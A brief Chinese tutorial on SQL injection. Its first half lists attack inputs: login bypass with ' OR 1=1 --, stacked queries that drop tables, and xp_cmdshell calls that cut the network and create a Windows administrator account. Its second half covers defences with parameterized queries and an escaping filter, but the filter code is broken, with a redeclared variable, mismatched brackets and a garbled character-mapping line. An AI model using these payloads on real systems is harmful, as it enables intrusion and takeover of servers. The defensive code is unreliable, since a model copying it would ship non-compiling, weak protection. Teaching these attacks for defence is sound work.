一、SQL注入方法
①试探数据库
如在登录框的用户名中输入单引号‘
②略过验证
若知道帐号,则在帐号名的输入框中输入:帐号名’--
若不知帐号,则在帐号名的输入框中输入:‘OR 1=1 --
③执行多个SQL表达式
利用分号分隔表达式如:
输入 ‘;drop table表名--
‘;insert into表名 values('字段1值','字段2值',……)-- 注意此法必须知道所有的字段数
;and db_name()>0 --,db_name()是另一个系统变量,返回的是连接的数据库名
④执行存储过程
输入 ‘;exec master..xp-cmdshell 'ipconfig/release' -- 断开网络连接
‘;exec master..xp_cmdshell 'net user name password /add' -- 用net命令新建了用户名为name、密码为password的windows的帐号
';exec master..xp_cmdshell ‘net localgroup name administrators /add'-- 将新建的帐号name加入管理员组(只适用于用sa连接数据库的情况)
①限定字串长度或输入格式
例:txtUserID.MaxLength=8
ValidationExpression="\w+"
②使用参数
对于SQL数据库:
strcmd="Select * From Users where userID=@uid and pwd=@pwd"
sqlcommand cmd=new sqlcommand(strcmd,con);
sqlParameter param=cmd.Parameters.Add("@uid",sqlDbType.Varchar,10);
param.value=TextBox1.Text;
对于Access数据库:
string sql="Select userid from test where [user]=? and pwd=?";
cmd=new OleDbCommand(sql,conn);
OleDbParameter Puser=new OleDbParameter("user",OleDbType.VarChar,50,"user");
OleDbParameter Ppwd=new OleDbParameter("pwd",OleDbType.VarChar,50,"pwd");
cmd.Parameters.Add(Puser);
cmd.Parameters.Add(Ppwd);
Puser.Value=this.TextBox1.Text;
Ppwd.Value=this.TextBox2.Text;
③过滤输入的字符
‘à'' [à[[] %à[%] -à[-] _à[_]
例:
private string Filter(string strsql)
{
string strsql;
strsql=strsql.Replace("'","''");
strsql=strsql.Replace("[',"[[]"];
strsql=strsql.Replace("%","[%]");
strsql=strsql.Replace("-","[-]");
strsql=strsql.Replace("_","[_]");
Return strsql;
}